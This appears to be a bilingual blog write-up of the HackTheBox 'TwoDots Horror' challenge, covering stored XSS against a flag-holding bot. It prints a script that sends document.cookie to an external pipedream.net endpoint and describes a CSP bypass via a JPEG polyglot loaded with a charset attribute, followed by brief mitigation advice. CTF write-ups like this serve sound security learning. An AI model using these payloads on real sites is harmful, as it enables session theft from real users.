HacktheBox TwoDots Horror 을 풀고 싶으신가요?
Do you want to solve HacktheBox TwoDots Horror ?
[ HacktheBox#12 TwoDots Horror ]
Content of List
1. Flag 접근 경로 확인
2. 문제 풀이
3. 대응 방안
1) Flag 접근 경로 확인
기능 파악 : 웹페이지에 접근하여 4개의 Input 존재함을 확인(로그인, 회원가입, 글작성, 이미지 업로드)
service analysis : I checked 4 Inputs on this web page.(Login, Join, posting, Upload Image)
Flag 관련 로직 파악 : 플래그(HTB{})는 글 제출 API가 호출될 경우, 이용됨
Logic about the flag analysis : If I post text, bot with cookies that is flag value will view my text(xss).
서비스 이용자가 글을 작성하면, flag 값을 쿠키를 가진 bot이 /review 경로에 접근 후 제출한 글을 읽음.
After User post text, bot having cookie that is flag value will access URL(/review) and read my text.
2) 문제 풀이
2) Exploit
글 작성란에 XSS 유발 코드를 삽입해 bot의 cookie값 읽기 시도
I injected XSS code for reading bot's cookie.
<script>window.location.href="https://eo3pgcga8tl25qj.m.pipedream.net?c="+document.cookie;</script>
<script src="https://eo3pgcga8tl25qj.m.pipedream.net?c="/>
but, CSP 정책으로 인해 서비스 내 content들의 출처를 동일한 도메인으로 제한함
but, It's not works because of Content Security Policy that restrict web content source.
이미지를 읽어와서 변경한다? -> javascript 필요
After trying bypass tricks, I realized that I have to use another Exploit vector because I need javascript code what I write on this web content.
xxx/*\x00\x00*/=1;alert(1); javascript 코드 실행 가능하므로, jpg 를 변경하여 script 삽입.
If I run this code(xxx/*\x00\x00*/=1;alert(1);), It will work. so, I injected script on image file by changing image files binary.
허나 바이트만 맞추고 업로드 할 경우, 에러 발생함. 로그를 남겨 어떤 코드에서 에러 발생하는 지 확인해보니, 패키지에서 발생함.
but I upload the image file injected XSS Code, It occurs error.
After I checked codes, I realize that "image-size" and "is-jpg" packages verify an image format.
image-size 패키지와 is-jpg패키지 내용들을 맞춰서 jpg 내용을 조작한 후, 업로드
so I fixed image binary for "image-size" and "is-jpg" packages.
but It occur error;(
엔코딩 관련 문제로 인해, 에러가 발생하고 script charset 속성을 이용해 encoding 형식을 변경 해줄수 있다.
I can change Encoding format by using charset property.
charset="ISO-8859-1"
플래그 획득
Get Flag by using image file that I injected XSS and uploaded on victim's web site and XSS.
</p><script src="/api/avatar/test" charset="ISO-8859-1" />
3. 대응방안
CSP 정책 + XSS 유발 구문에 대한 HTML Entity Encoding 적용
'HACKING_GAME > WEB' 카테고리의 다른 글
HTB#13 Bashed (0) | 2022.06.15 |
---|---|
HacktheBox#11 Breaking Grad (0) | 2022.02.09 |
HacktheBox#10 AbuseHumanDB (0) | 2022.01.28 |
hackthebox#9 Diogenes Rage (0) | 2022.01.18 |
hackthebox#7 nginxatsu (0) | 2022.01.10 |